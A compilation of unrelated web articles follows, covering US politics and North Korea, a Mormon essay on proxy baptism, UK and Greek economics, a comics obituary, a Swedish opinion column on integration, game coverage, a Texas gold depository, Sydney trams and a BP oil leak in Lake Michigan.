ballistic missiles and carried out its biggest nuclear test yet. North Korea is now threatening to test a nuclear device in the Pacific Ocean and to attack the United States, although its actual response may be something very different.  It is inconceivable that any previous president would have gotten into such a war of words with a dictator. John F. Kennedy said, “Ich bin ein Berliner”; he did not call Nikita Khrushchev a “short, fat peasant.” Ronald Reagan said, “Mr. Gorbachev, tear down this wall”; he did not label Mikhail Gorbachev “Red Spot.” Those presidents knew that any confrontation with a nuclear-armed state had to be handled with the greatest delicacy, lest a miscalculation lead to Armageddon.  Trump shows no such awareness. Given that he does not read books, he would be well advised to tune into the Ken Burns and Lynn Novick PBS series on the Vietnam War to see what can happen when the U.S. acts too aggressively and thereby stumbles into a ruinous war. In 1964, President Lyndon B. Johnson committed himself to defending South Vietnam from North Vietnamese aggression. At the same time, he authorized a covert campaign known as OPLAN 34A to send South Vietnamese commandos on raids into the North supported by the U.S. military. Johnson had no idea that in so doing he would be goading North Vietnam into a war with the United States. But that is just what happened.  One of Johnson’s covert attacks took place at midnight of July 30, 1964, with South Vietnamese naval commandos raiding two North Vietnamese islands in the Gulf of Tonkin while the destroyer USS Maddox was steaming 120 miles away. There was no direct connection between the commando raid and the Maddox’s intelligence-gathering patrol, but the North Vietnamese did not know that. On Aug. 2, three North Vietnamese torpedo boats attacked the Maddox without doing any damage.  Then on Aug. 4, another North Vietnamese attack was reported on the Maddox and its sister destroyer, the Turner Joy. The two destroyers fired 372 shells and at least four depth charges while reporting that they had dodged multiple torpedoes and enemy gunfire. Yet American pilots overhead could not see any enemy ships. It later became obvious that the second attack had not really happened. But by then Congress had passed the Gulf of Tonkin Resolution, giving Johnson a blank check to wage war against North Vietnam. The eventual result: nearly half a million U.S. troops in South Vietnam, with 58,000 of them coming home in body bags.  Trump’s current provocations could elicit an even more catastrophic outcome. Imagine that Kim Jong Un, an inexperienced observer of American politics, takes Trump’s words seriously and then sees U.S. warplanes heading for his borders. It is not far-fetched to posit that he might give the orders to shoot down one of those aircraft. Indeed, North Korea’s foreign minister, Ri Yong Ho, said Monday: “Since the United States declared war on our country, we will have every right to make countermeasures, including the right to shoot down United States strategic bombers even when they are not inside the airspace border of our country.” Or imagine that North Korea responds by firing a missile in the general direction of Guam and it lands by mistake in U.S. territorial waters or even hits the island itself.  In either case, Trump would undoubtedly feel compelled to respond militarily, even if no U.S. lives or property were lost. Even a single, symbolic U.S. airstrike could further feed Kim’s paranoia, convincing him that America is about to destroy his country just as Trump has threatened. Backed into a corner, the North Korean strongman may decide he has nothing to lose by unleashing his nuclear arsenal on South Korea, Japan — even the United States.  This nightmarish scenario is becoming all too plausible because of Trump’s over-the-top bellicosity. He should turn down the rhetorical temperature. A policy of containment and deterrence worked against the Soviet Union, a country with a far larger nuclear arsenal than North Korea will ever have. Eventually the USSR peacefully imploded. The same approach can work with North Korea too, as long as we don’t stumble into an unnecessary and calamitous conflict first because of our president’s macho posturing.  Photo credit: Getty Images/Foreign Policy illustration
-Toward the end of May, 1970, I stood waist high in water in a baptismal font of a temple in Hamilton, New Zealand, while the name of my deceased father was read aloud. Moments later, on his behalf, I was buried in the biblically mandated full-immersion baptism that is so powerfully symbolic of rebirth and entry into the kingdom of God.  That first visit to a temple of The Church of Jesus Christ of Latter-day Saints –and my first experience of what Mormons call “baptism for the dead”–was one of the most intensely significant religious experiences of my life.  I was 22 years old in 1970, but I had never personally known the father for whom I had just been baptized by proxy. During World War II he had served with the British Army. After action in France, he was captured by Rommel’s forces in North Africa and spent the next three years behind barbed wire as a prisoner of war in Libya, Italy and Germany.  Robert Otterson photo courtesy of Otterson family.  Four years after he returned from the deprivations and hardships of war, at 37 and with most of his life seemingly ahead of him, he was thrown from his motorbike on a Welsh country road and killed. I was just nine months old. Through my childhood, my mother would occasionally share stories of my father, but I grew up with no personal memory of him — only a vague sense of loose ends and unanswered questions.  The temple experience, however, changed all of that. Leaving the temple that day in 1970 started me on a quest to learn all I could about my father. I conducted interviews, discovered letters and journals and found memorabilia. I retraced his footsteps in Germany from the time his POW camp was liberated. I know the title of every one of the dozens of books he read during his captivity. No longer a cipher or question mark, he has become for me a real person, and my love for him has become every bit as real as for that of the mother with whom I grew up.  For me and Latter-day Saints like me, these deeply held feelings are not just the consequences of a highly developed hobby. They reflect a key practice in our faith and are rooted in biblical teachings. They are fulfillment of the prophetic writings found at the end of the Old Testament, in the very last verses of the Book of Malachi.  “And he shall turn the heart of the fathers to the children, and the heart of the children to their fathers….”  Mormons attach great significance to this scriptural verse, as they do also to New Testament references to preaching among the dead. If Jesus Christ preached to the spirits of those who had left this life, it presupposes they had the moral agency to accept or reject what he was preaching. What extra things was he teaching them that they did not know already? Combined with other references and a specific mention of baptism for the dead in one of Paul’s letters, these scriptures form the theological underpinnings of Mormon temple work.  This entire labor of love, as Mormons view it, rests on the premise that those who have passed on have the choice to accept or reject the gesture. I knew when I performed the proxy baptism for my father that he was a devout Christian, christened as a baby in the rites of the established Church of England. My gesture in his behalf took nothing away from him, the life he lived and who he was at his core. If there is an afterlife – a belief clearly shared by both of us – then I added opportunity to the goodness of a short but purpose-filled and worthy life. In the doctrines embraced by my particular faith, my offering opened up eternal possibilities, including the eternal “sealing” of his marriage to my mother. Far from slighting my father’s religious persuasions, he retains every ounce of his own free will and moral agency to accept what I did on his behalf. In my own heart, I want to believe he accepted it, but I cannot know that now. What I am certain of, however, is that in whatever cognizance of this life that exists in heaven, that my father will not be offended for a gift generously intended and sincerely given by his son. The worst I can imagine is a “Thanks, but no thanks.”  Mormons all over the world cultivate a caring attitude for their departed families. Whenever and for whomever they are rendering temple service, Latter-day Saints ponder the time and place the person was born, and reflect on what their lives may have been like as the offering is made for them. It is because we value and respect every life and its eternal potential that we do what we do.  Last week, this same Mormon practice of baptism for the dead found its way into news reports because someone violated church policy and submitted for baptism the names of some Jewish Holocaust victims to whom they were not related. That improper action sparked a good deal of misunderstanding about this sacred belief.  First, no one can force acceptance of a religious rite on others after they have died – the very concept of abridging personal agency is anathema to Mormons. In other words, in no way does this practice forcibly “convert” a deceased person to Mormonism. Secondly, Jewish Holocaust victims have been specifically excluded by the church itself from temple baptisms unless there is a direct-line relationship between the Latter-day Saint submitter and the deceased person – a rare occurrence where the Holocaust is concerned. The policy itself is a highly significant and unprecedented gesture of respect to those who gave their lives in the Holocaust.  I am thankful for the Jewish rabbis who understand the situation well and spoke up promptly to help defuse a sensitive situation. With more than 14 million members around the globe, the Church is no more able to guarantee compliance of every member with its policies than other worldwide faiths are able to guarantee theirs.  Despite the church’s best efforts, there will continue to be individual violations of policy and we will continue to address them and minimize such instances. The church is looking at every way it can both to educate its members and address the deficiencies of technology. I am confident that it will continue to do all it can to resolve legitimate concerns while preserving the core doctrines of the faith.  View Photo Gallery: “The Mormon story is a quintessentially American tale,” writes On Faith columnist Lisa Miller.  More On Faith and Mormonism:  Otterson:Why do Mormons tithe?  Kathryn Skaggs: For Mormons, this moment is personal  Otterson: Mormons want acceptance, not assimilation  Michael Otterson is an On Faith panelist and heads the worldwide public affairs functions of The Church of Jesus Christ of Latter-day Saints.
-Scots see almost £1,500 more on public spending per head for services such as health and education than the UK average, official figures have revealed.  Pro-UK campaigners have hailed the “Union dividend” set out by the latest Country and Regional Analysis published by the Treasury.  David Mundell says the figures show the value of being part of the UK  Spending on services in Scotland hit £10,536 per head in 2015-16, an increase of £189 on the previous year. The figure for the rest of the UK is £9,076, with a smaller rise of £163.  The Scottish Government said that the report shows it spends more on health and education north of the Border.  READ MORE: Brexit: Nicola Sturgeon confirms ‘Norway-style’ EU plan  But Secretary of State for Scotland David Mundell said: “Public spending in Scotland is higher than the rest of the UK – now by almost £1,500 per person per year – despite a rising budget deficit on the Scottish Government’s watch.  “This illustrates the value to Scotland of being part of a strong, broad-shouldered United Kingdom.”  The highest public spending levels are in Northern Ireland, where the figure is £10,983, while in Wales it was £9,996. The lowest public spending of all the UK nations is in England where the figure is £8,816.  Scottish education spending increased by 3.7 per cent over the past year compared with a 2 per cent fall across the UK, while health spending in Scotland increased by 4.6 per cent in the year to March 2016 compared with growth of 3.4 per cent across the UK.  READ MORE: Sturgeon faces calls to sack Yousaf after rail chaos  A spokesman for the Scottish Government said: “The figures demonstrate the Scottish Government’s commitment to invest in frontline public services. He added: “These figures only describe one side of the equation when it comes to public finances, with no comparison for public sector revenues.  “Scottish revenue has been on average £630 per person a year higher than in the UK as a whole since devolution.”  The amount of spending which each part of the UK receives is determined by the Barnett Formula. This adopts a needs-based approach and means that Scotland receives more money than other parts of the UK. The main political parties have pledged to protect this in the new devolution deal.  Alistair Cameron, director of the pro-UK Scotland in the Union campaign, said: “If Nicola Sturgeon continues to threaten Scotland’s ‘Union dividend’ with talk of another referendum, she should be honest about the deep cuts or big tax rises which will follow if she got her way.”
-Greece’s economy is imploding, but the country could be set to enjoy its biggest summer tourism boom in a decade.  Google searches for Greek vacations have hit a 10-year high, which suggests savvy vacationers are looking to take advantage of Greece’s possible exit from the eurozone to get deals on visits to Athens or one of the country’s idyllic islands.  Greece’s financial woes have already made Europe cheaper for tourists. The country’s inability to pay off its debts have helped drag down the value of the Euro, which means visitors can benefit from a 12-year low exchange rate of $1 to just €1.10. Last weekend’s referendum spooked some would-be visitors, with Greek’s tourism confederation claiming some vacations set for the coming weeks have been cancelled, but that bookings for later in the summer remain steady.  Yet the real payoff for travelers could be yet to come. Greece voted “No” this weekend on a referendum over whether the country should accept its creditor’s bailout terms, which means Greece may be about to run out of money. It may decide to ditch the Euro, and return to the drachma. Economists have predicted that its former currency will suffer a severe devaluation if it replaces the Euro. Tourists understand that in that scenario, their money would go a lot farther.  Google searches are highest in the United Kingdom and Ireland, where Greece historically rates among the top tourist destinations. Greece itself is third, suggesting residents are still considering vacations at home in the absence of clarity on whether the government will be able to follow through on its promise to reopen banks on Tuesday. Google searches weren’t particularly high in the U.S., as Greece isn’t a top travel destination for Americans.  Local tourism organizations in Greece are attempting to quash fears that the country’s precarious finances will ruin its $32 billon tourism industry. The Facebook page “Greece In Photos” launched a campaign telling prospective visitors to ignore the crisis in favor of Greek hospitality, sun, sea and beauty.  Google Searches For “Greece Holiday” Over Past Decade  Read more:  How Exactly Would Greece Change Currencies? (Vocativ)  Are There Food and Medicine Shortages In Greece? (Vocativ)
-Muprhy Anderson Credit: Murphy Anderson  According to a Facebook post from DC Co-Publisher Dan DiDio, Silver Age artist Murphy Anderson has passed away at the age of 89.  Sad to hear of the passing of Murphy Anderson today, he was one of the true greats of DC Comics and helped define a... Posted by Dan DiDio on Friday, October 23, 2015  Anderson was born in Asheville, North Carolina in 1929. He broke into comic books in 1944 working on smaller strips before starting a two year run on Buck Rogers from 1947 to 1949.  Anderson is perhaps best known for relaunching Hawkman with writer Gardner Fox in 1964, and for co-creating Zatanna in that series. Anderson also designed Adam Strange's iconic spaceman look, and helped bring the Spectre into the Silver Age.  As an inker, Anderson worked alongside penciler Curt Swan on Superman and Action Comics, and was one of the artists hired by DC to redraw Superman's face in the pages of Jack Kirby's Fourth World titles in the '70's. In 1973, he launched Murphy Anderson Visual Concepts, providing backend work such as color separation and lettering for comic books.  In his lifetime, Anderson was inducted into the Jack Kirby Hall of Fame, the Will Eisner Hall of Fame, and the Joe Sinnott Hall of Fame.
-These Robots Are Learning to Conduct Their Own Science Experiments, Businessweek  What Actually Happens When a Plane Loses an Engine, Popular Mechanics  Death and Daring at 1,500 Feet, Popular Mechanics  6 Reasons Why Uber’s Flying Taxis Are a Mirage, Popular Mechanics  Brain Training: Are We Overthinking It?, Men’s Journal  Why All Airliners Look the Same, Popular Mechanics  What is the Speed of Thought?, New York magazine  How Your Brain Controls the Speed of Time, New York magazine  Showdown: Air Force One vs Trump Force One, Men’s Journal  How Donald Trump’s Private Plane Compares to Air Force One, The Hollywood Reporter  Why Would a Pilot Let His Plane Run Out of Fuel?, New York magazine  The Intercept’s Glenn Greenwald on What’s Wrong (and Right) With the Media, New York magazine  How To Fix Flying: The Joy of Flight, Popular Mechanics  Why it’s so hard to build a greener airplane, Washington Post  Fear in the Cockpit, Nautilus  How to Design a Rollercoaster That’ll Make You Beg for Mercy, Bloomberg  The 2013 Airplane Crash That Is Eerily Similar to the Germanwings Tragedy, Slate  The Malaysian Government Just Released a Huge Amount of New Data on the MH370 Crash. Here’s What It Reveals, New York magazine  The Enigma at the Center of the Malaysia Airlines Mystery, Huffington Post UK  My Crazy Theory About MH370 Went Viral Around the World. Here’s What I’ve Learned Since, New York magazine
-Sen. Lisa Murkowski, R-Alaska, arrives for a vote as the Republican-run Senate rejected a GOP proposal to scuttle President Barack Obama's health care law and give Congress two years to devise a replacement, Wednesday, July 26, 2017, at the Capitol in Washington. President Donald Trump and Senate Majority Leader Mitch McConnell, R-Ky., have been stymied by opposition from within the Republican ranks. (AP Photo/J. Scott Applewhite)  WASHINGTON (AP) — After seven years of emphatic campaign promises, Senate Republicans demonstrated they didn’t have the stomach to repeal “Obamacare” on Wednesday when it actually counted. The Senate voted 55-45 to reject legislation to throw out major portions of Barack Obama’s law without replacing it.  Seven Republicans joined all Democrats in rejecting a measure by GOP Sen. Rand Paul of Kentucky that would have repealed most of former President Obama’s health care law, with a two-year delay but no replacement. Congress passed nearly identical legislation in 2015 and sent it to Obama, who unsurprisingly vetoed it.  Yet this time, with Republican President Donald Trump in the White House itching to sign the bill, the measure failed on the Senate floor. The Congressional Budget Office has estimated that repealing “Obamacare” without replacing it would cost more than 30 million Americans their insurance coverage, and that was a key factor in driving away more Republican senators than Majority Leader Mitch McConnell could afford to lose in the closely divided Senate.  The result frustrated other GOP senators, some of whom expressed disbelief that their colleagues would flip-flop on legislation they had voted for only two years ago and long promised to voters. Of the current Republican senators, only moderate Susan Collins of Maine opposed the 2015 repeal bill.  “Make no mistake: Today’s vote is a major disappointment to people who were promised full repeal,” said Sen. Ben Sasse of Nebraska. “We still have a long, long way to go — both in health policy and in honesty.”  Yet the outcome was hardly a shock in a Senate that’s already shown that unity is elusive when it comes to dealing with Obamacare. The real-world implications of repeal have proven sobering to GOP senators answering to voters who’ve come to rely on expanded insurance coverage under the law.  It’s not over yet. But what the party’s senators might end up agreeing on instead is far from clear. They are plunging ahead with debate toward their unknown goal, pressured by an impatient president. By week’s end Republicans hope to reach agreement among themselves, and eventually with the House, on some kind of repeal and replacement for the Obama law they have reviled for so long.  “We have to keep working hard,” said McConnell, R-Ky. “We’re determined to do everything we can to succeed. We know our constituents are counting on us.”  One possibility taking shape in talks among senators was a “skinny repeal” that would abolish just a few of the key elements of Obama’s law including its mandates that everyone purchase insurance and its taxes that all GOP senators can agree to oppose. But in a sign of the general confusion, some said the tactic was aimed chiefly at moving the process forward into the purview of a committee of Senate-House bargainers while others expressed the hope that the House would swallow a “skinny bill” whole, freeing Congress to move on to other issues.  Either way, after weeks spent on the issue including false starts and near-death experiences that have eaten up months of Trump’s presidency, the realization was dawning on senators that they may be unable to pass anything more complex for now than a lowest-common-denominator bill.  “At the end of the day, we’ve got to start somewhere. This is a start,” said Sen. Thom Tillis, R-N.C.  The day’s proceedings began with prodding from Trump, who’s proven impatient and inconsistent throughout the health care debate and yet can claim some credit for resuscitating Senate talks after McConnell essentially declared them dead last week.  The president singled out Alaska Sen. Lisa Murkowski, who’d voted the day before against opening long-awaited debate on the legislation, and also opposed a wide-ranging McConnell amendment Tuesday that offered a replacement for Obamacare and went down to defeat.  “Senator @lisamurkowski of the Great State of Alaska really let the Republicans, and our country, down yesterday. Too bad!” Trump wrote.  “I don’t really follow Twitter that much,” Murkowski remarked to reporters later with a shrug.  Murkowski was also among the seven GOP senators who voted “no” Wednesday on the repeal-only bill. The others were Collins, Shelley Moore Capito of West Virginia, Dean Heller of Nevada, John McCain of Arizona, Rob Portman of Ohio and Lamar Alexander of Tennessee.  In a statement defending his vote, Portman wrote: “We need a rescue plan for Ohio families who are suffering under the status quo, not one that makes the health care system worse for Ohio families.”  Senators were working their way through 20 hours of debate. At week’s end, a “vote-a-rama” of rapid-fire voting on a mountain of amendments was expected before moving to final passage — of something.  Internal GOP differences remain over how broadly to repeal the law, how to reimburse states that would suffer from the bill’s Medicaid cuts and whether to let insurers sell cut-rate, bare-bones coverage that falls short of the requirements.  While pressure and deal-making helped win over vacillating Republicans to begin debate, they remained fragmented over what to do next. Several pointedly left open the possibility of opposing the final bill if it didn’t suit their states.  “It seems the Republican majority is no clearer on what the end game is, because there’s no good way out of this,” said Minority Leader Chuck Schumer of New York.  ___  Associated Press writers Stephen Ohlemacher and Ricardo Alonso-Zaldivar contributed.
-Mohamed Omar  Många skattemiljoner går till att motverka islamofobi, pengar som ibland har gått till aktörer som själva sprider västofobi, en fördomsfull hållning mot den icke-islamiska, västerländska kulturen. Kanske dags att börja satsa på att motverka västofobin.  Abo Raad, imam vid Gävlemoskén, var tidigare ansvarig för en hemsida som skulle sprida kunskap om islam: muslim.se. Där kunde man läsa att det var förbjudet för en muslim att fira jul och att den som sjunger med i sången ”Nu tändas tusen juleljus” blir ”kafir”, det vill säga otrogen. En muslim fick inte vara vän med en icke-muslim och straffet för homosexualitet var döden. Det var också förbjudet att delta i den svenska demokratin och att tjänstgöra i den svenska armén.  Vidare kunde man läsa att icke-muslimer har sämre rättigheter än muslimer och att man inte fick imitera icke-muslimernas sätt att klä sig och att en hustru skulle vara underordnad sin man. Typiska, islamiskt fundamentalistiska åsikter således, med solid grund i Koranen och profeten Muhammeds undervisning.  Raad hyllade den jihadistiska gruppen Islamiska statens (IS) offensiv i Irak sommaren 2014. IS är en minst sagt västofobisk organisation som drömmer om att erövra Rom och förinta den västerländska kulturen. I ett inlägg på Facebook uppmanade han sina anhängare att be för sina ”sunnisyskon” som krigar mot ”svekfullhetens, icke-trognas och syndfullhetens styrkor”. Raad har också uppmanat sina anhängare att stödja IS med pengar.  År 2009 fick hans numera borttagna hemsida, med dess tydligt västofobiska inslag, 416 000 kronor i statliga medel för att motverka islamofobi. De otrognas sätt att leva, deras högtider och värderingar är alltså ”haram”, förbjudna, men deras pengar är tydligen ”halal” eller tillåtna.  Nu har jag ingen statistik att framför mig, men jag skulle gissa att fler människor förtrycks och dödas i världen på grund av islamistisk västofobi än västerländsk islamofobi. Självmordsattacken mot julhandeln i Stockholm 2010 skulle kunna ses som ett västofobiskt dåd. I sitt ”testamente” uppgav jihadisten Taimour Abdulwahab att han ville straffa ”svenskarna” för Lars Vilks Muhammedteckningar. Fler än 300 unga muslimer har valt att följa i Taimours fotspår genom att ansluta sig till västofobiska, jihadgrupper i Irak och Syrien.  Två konvertiter till islam, Pernilla Ouis och Anne Sofie Roald, publicerade 2003 boken Muslim i Sverige. Bägge har sedermera lämnat islam. Men de var akademiskt skolade muslimer när de arbetade med boken, vilket gav dem en unik inblick i muslimska miljöer i förening med ett kritiskt resonerande forskarperspektiv. På flera ställen tar de upp muslimernas västofobi.  Många muslimer, förklarar de båda författarna, ”definierar sig utifrån den icke-muslimske västerlänningen”. De nämner sedan en händelse som ett ”typexempel” på detta västofobiska fenomen:  På en muslimsk fest i invandrarförorten Rosengård (Malmö) i februari 2003, talade en man om vad den muslimska högtiden Eid al-Adha står för. Han förklarade att på den muslimska högtiden samlas muslimer för att dyrka Gud medan ’svenskarna’ under sina religiösa högtider ’dricker’, och är ’otrogna’ och lever ett allmänt utsvävande liv.  På vad beror då detta västofobiska sätt att se på svenskarna? Ouis och Roald pekar på bristande kontakt mellan muslimska invandrare och ursprungssvenskar:  Hur muslimer ser på ’svenskarna’ beror till stor del på vilken kontakt man har med svenskar i sitt dagliga liv. Med boendesegregation, å ena sidan, och arbetslöshet bland invandrare, å andra, är det många muslimer som inte har kontakt med andra etniska och religiösa grupper, och i sådana grupper florerar denna syn på ’den Andra’, det vill säga icke-muslimer.  En viktig aspekt av det västofobiska synsättet bland muslimer, menar de två forskarna, är sexualiteten:  Svenskar ses som sexuellt dekadenta, de kan ha sex med vem som helst inklusive sina familjemedlemmar och folk går halvnakna på gatan. Detta är vanföreställningar som inte bygger på egna erfarenheter, utan på fördomar som har sitt ursprung i tolkningen av det som visas i media. Få muslimer verkar känna till de svenska koderna och att de flesta svenskar har en moral i sitt sexuella beteende.  Detta skulle kunna hjälpa till att förklara varför det ibland uppstår missförstånd i förhållandet mellan svenska kvinnor, som lever och klär sig på ett vanligt svenskt sätt, och män från islamiska länder. Ett extremt exempel var när en svensk kvinna i Strängnäs utsattes för två överfallsvåldtäkter samma natt. Gärningsmännen var asylsökare från Mellanöstern. En av dem spottade kvinnan i ansiktet och sa: ”I’m gonna fuck you, little Swedish girl”.  Ouis och Roald menar att de västofobiska attityderna hindrar muslimer från att integreras i det svenska samhället. ”Det är oftast vanliga vardagssituationer som kan upplevas som besvärliga för muslimer, som då hellre väljer att inte delta i dessa”, påpekar de. ”Därigenom försvåras naturligtvis den önskvärda integrationen och alternativet blir då istället ökad isolering.”  Det rör sig ofta om mat- och dryckesvanor, där man inte bara själv avstår från alkohol och fläsk utan även anser att man inte kan sitta vid samma bord eller vara i samma rum där dessa ”orena” saker finns. Det gör att man blir isolerad från det svenska umgängeslivet. Författarna går så långt som att hävda, och boken bygger alltså på intervjuer med muslimer, att det finns ”en generell misstro mot svenskar”.  I skolan, ibland den enda plats där invandrarbarnen får möta ursprungssvenskar och deras kultur, är det inte ovanligt att denna misstro kommer till uttryck: ”Det finns många aktiviteter i skolan som en del muslimska föräldrar inte vill att deras barn ska delta i. Det kan vara sexualundervisning, och undervisning i kristendom som upplevs och ibland missförstås som påverkan från skolan att barnen ska bli kristna.”  Eftersom man anser att ”svenskarna” har en sämre moral än muslimer vill man så att säga skydda sina barn från svensk påverkan:  En del barn förbjuds av föräldrarna att delta i en mängd olika aktiviteter alltifrån skridskoåkning till klassresor. Rädslan i detta sammanhang är ofta att barnen ska utsättas för omoralisk påverkan eller själva göra något som påverkas deras rykte (detta gäller framför allt tonårsflickor).  Boken Muslim i Sverige innehåller en hel del islamisk apologetik, författarna var ju muslimer när de skrev den, men alltså även viktiga iakttagelser.  Vi har satsat miljontals skattekronor på att motverka islamofobi, pengar som ibland har gått till organisationer som själva sprider västofobi. Det är kanske dags att vi börjar satsa på att motverka västofobin, ett sätt att tänka som försvårar muslimers integration i det svenska samhället, ger upphov till social friktion, och i vissa fall extrema fall till och med kan bidra till radikalisering och anslutning till antivästliga jihadgrupper.
-Riff Racer  Developed by Developed by FOAM Entertainment  reviewed) Available on PC ( Steam  Let’s talk about Riff Racer. Games that revolve around music are not a new concept at all. We’ve all played one, whether it be Guitar Hero, Rock Band, Wii Music, Donkey Konga or something completely different. I enjoy rhythm games such as the ones mentioned above, but I do tend to tire of these games after a while. I’ve pontificated upon this matter at length, and I’ve eventually started to see a pattern.  I’ve found that a recurring flaw within most rhythm games is in fact how repetitive they tend to be – you play through a couple of songs, and the concept remains pretty much the same. The games aren’t bringing much new to the table, and playing them can easily start to get tiresome.  That’s where Riff Racer scores: through innovative gameplay, Riff Racer manages to stay replayable, even after playing for a long time. This game is a rhythm/racing game where the player can race on tracks generated through music. The player may choose a song freely from his computer, and the game will generate a track that fits the song, complete with obstacles, ramps, and pickups to improve the gameplay. Another factor that benefits the l ongevity of the game is the fact that you earn XP points through completing laps, allowing the player to level up and gain benefits from doing so. You can pick up currency on the tracks themselves, which can be spent in the in-game store to purchase vehicles. Your scores can be compared to other players, and you may race against the ghosts of others in order to improve the sensation of truly competing.  The game plays wonderfully, as if it was a mixture of Trackmania and Audiosurf. It is true that the latter has based itself upon the same foundation as Riff Racer, but this one sets itself apart from Audiosurf through the wonderfully playful driving mechanics. The vehicle is capable of boosting, drifting through corners and performing tricks such as barrel rolls in order to improve your score. The game looks beautiful, with a very varied color palette. The procedurally generated tracks make it hard to get tired from repetitiveness, as you’ll always see something new unfold.  Now, Riff Racer has indeed proven itself a positive addition to my library, and to be honest, you have to get quite nitpicky in order to find anything wrong with the game. The game has no major issues, no game-breaking components, and there are just a few things that could have been improved in order to make the game better overall.  The ramps are a cool addition to the tracks, as they help to spice up the game a little. However, I find it difficult to properly coordinate my landing. I often find myself flying off the track because I can’t seem to get a grip on the in-air mechanics. As I said, I’m being quite nitpicky at this point.  The biggest issue I have with the game is the XP ranking system. While I do commend the game for including such a system, it could use some improvements. The system works as one would expect, you start in rank 0, and you gain XP to level up. However, the rate in which you level up should be a lot more fluid. We’re used to systems where the transition from rank 0 to rank 1 is a fast and easy one, and as you progress through the ranks, it requires more XP to level up. In Riff Racer, however, the transition from rank 0 to rank 1 is tremendously slow, making it rather tiresome to attempt to level up.  Apart from this, Riff Racer has proven itself not only one of the best rhythm games I’ve had the distinctive honor of playing, but also a fantastic game if you’re up late at night looking for a casual gaming experience. The game is highly accessible, and can be played on a wide variety of computers. In fact, I played it on a rather cheap HP PC usually reserved for work, but it ran extremely fluidly. I urge every fan of rhythm games and/or racing games to pick up Riff Racer on Steam, or at least check out some trailers, as it brought me nothing but joy. If the nitpicking issues I picked up on get improvements, this game can count on me coming back to it for a long time.
-Share. Six from Halo 1 PC, and a pair from Halo 2 for Windows Vista. Six from Halo 1 PC, and a pair from Halo 2 for Windows Vista.  If you've only ever played Halo on Xbox consoles, then Halo: The Master Chief Collection has a few surprises for you. Eight of them, actually.  Since MCC includes every Halo map ever released, that means it's also packing the six Gearbox-developed maps featured in the PC version of Halo: Combat Evolved as well as the pair of extra maps included in the Windows Vista version of Halo 2. Join IGN editor and Halo superfan Brian Albert in the video above as he introduces you to the eight maps that may be brand-new to you when MCC releases. And don't miss our first looks at Halo 1 Classic and Halo 2 Classic in the videos below. Halo 3 and Halo 4 1080p/60fps first looks will be coming soon.  Also be sure to stop by our ever-expanding IGN First hub page for this ongoing month of Halo: The Master Chief Collection, the one-stop shop for everything we're doing.  Exit Theatre Mode  Exit Theatre Mode  Ryan McCaffrey is IGN’s Executive Editor of Previews and Xbox Guru-in-Chief. Follow him on Twitter at @DMC_Ryan, on IGN, catch him on Podcast Unlocked, and drop-ship him Taylor Ham sandwiches from New Jersey whenever possible.
-Deep in the bowels of an office building in lower Manhattan sits more than 500,000 gold bars, with a combined weight of nearly 7,000 tons. They are in the custody of the Federal Reserve Bank of New York, which is holding them for the U.S. government, foreign governments, state governments, other central banks, and official international organizations.  Some of Texas' gold reserves are there too, and now they want them back.  Last week, Gov. Greg Abbot signed HB 483, a law creating what is likely the first-ever state-level gold bullion and precious metal depository.  In his official statement after signing the bill, Abbot said the law is about "increasing the security and stability of our gold reserves and keeping taxpayer funds from leaving Texas to pay for fees to store gold in facilities outside our state."  The bill states the gold will be beyond the purview or control of any "governmental or quasi-governmental authority" that is not directly administered by the state of Texas.  State Rep. Giovanni Capriglione, the bill's author, told the Star-Telegram newspaper that the depository is about more than just securing Texas' precious metals.  "We are not talking Fort Knox," Capriglione said. "But when I first announced this, I got so many emails and phone calls from people literally all over the world who said they want to store their gold ... in a Texas depository. People have this image of Texas as big and powerful ... so for a lot of people, this is exactly where they would want to go with their gold."  The Star-Telegram reports the primary goal of the depository - which doesn't have a physical home yet - is to "bring home more than $1 billion in gold bars that are owned by the University of Texas Investment Management Co. and are now housed at the Hong Kong and Shanghai Bank in New York."  Secession in modern America  However, it's no secret that many in Texas have long talked of seceding from the federal government. Having a healthy gold reserve would make establishing a currency a lot easier, to say nothing of providing a solid foundation for true economic independence, and some say the Texas depository could be a first step in that direction..  Conservatives in the state have ratcheted up the rhetoric around secession in recent years. Earlier this year, a controversy erupted around a multi-state U.S. military training exercise dubbed "Jade Helm 15." It led to wild Internet-fueled suspicions that the war simulation was really a hostile military takeover.  The speculation grew so loud that Gov. Abbott asked the State Guard to monitor the exercise. No other governor had so publicly addressed the training exercise.  "It is important that Texans know their safety, constitutional rights, private property rights and civil liberties will not be infringed," Abbott said at the time. "By monitoring the Operation on a continual basis, the State Guard will facilitate communications between my office and the commanders of the Operation to ensure that adequate measures are in place to protect Texans."
-It feels more spacious inside and open to natural light than Sydney's existing trams. And, once coupled to another, the new tram sets for Sydney's $2.1 billion light rail will be twice the length of those running on the 12.8-kilometre inner west light rail line.  After weeks wrapped in white plastic at a new yard at Randwick, the first of 60 trams for Sydney's $2.1 billion light rail line from Circular Quay to Randwick and Kensington was unveiled on Tuesday.  "It will have a very modern smooth feel [for passengers] but obviously longer than any other light rail vehicle they have seen before," Premier Gladys Berejiklian said.  Describing it as a "game changer", she said the new line would provide a better link for people travelling to the CBD or, in the other direction, to the University of NSW at Kensington and hospitals at Randwick.
-By Erwin Seba and Edward McAllister  (Reuters) - An unknown amount of oil leaked from BP Plc's Whiting refinery in Indiana into Lake Michigan after a mechanical glitch on Monday afternoon, the company confirmed on Tuesday.  The discharge had stopped, and the leak was contained, the London-based company said in a statement on Tuesday.  No injuries were reported, and the effect on Lake Michigan was not immediately clear. About 60 percent of the lake is covered in ice, according to the National Oceanic and Atmospheric Administration.  BP has laid down boom on the water to keep the leak from spreading and said the oil was in a cove between the refinery's wastewater treatment plant and a steel mill.  Crews were working on the cleanup on Tuesday. The U.S. Environmental Protection Agency, the Coast Guard and state regulators were at the scene.  Winds were pushing the oil onto the shore, while cold temperatures were causing it to harden into a waxy consistency, making it easier to collect, BP spokesman Scott Dean said.  Dean declined to say how much oil was released.  The largest crude distillation unit at the 405,000-barrel-per-day refinery was back to normal operations after a malfunction led to the leak, Dean said.  The 260,000-bpd crude distillation unit, called Pipestill 12, was the centerpiece of a $4 billion refit of the Whiting refinery completed late last year to run large amounts of oil from Canada's tar sands fields in Alberta.  A crude distillation unit does the initial refining of crude oil coming into a refinery and provides feedstock for all other units at the plant.  The refinery has been increasing the amount of Canadian crude oil running through Pipestill 12 during the first quarter of this year.  Environmental groups opposed the BP upgrade, saying use of the Canadian crude would increase pollution from the refinery into Lake Michigan.  The Whiting refinery is the primary focus of BP's U.S. refining strategy to use only plants in the northern United States that have in easy access to Canadian crude oil. BP 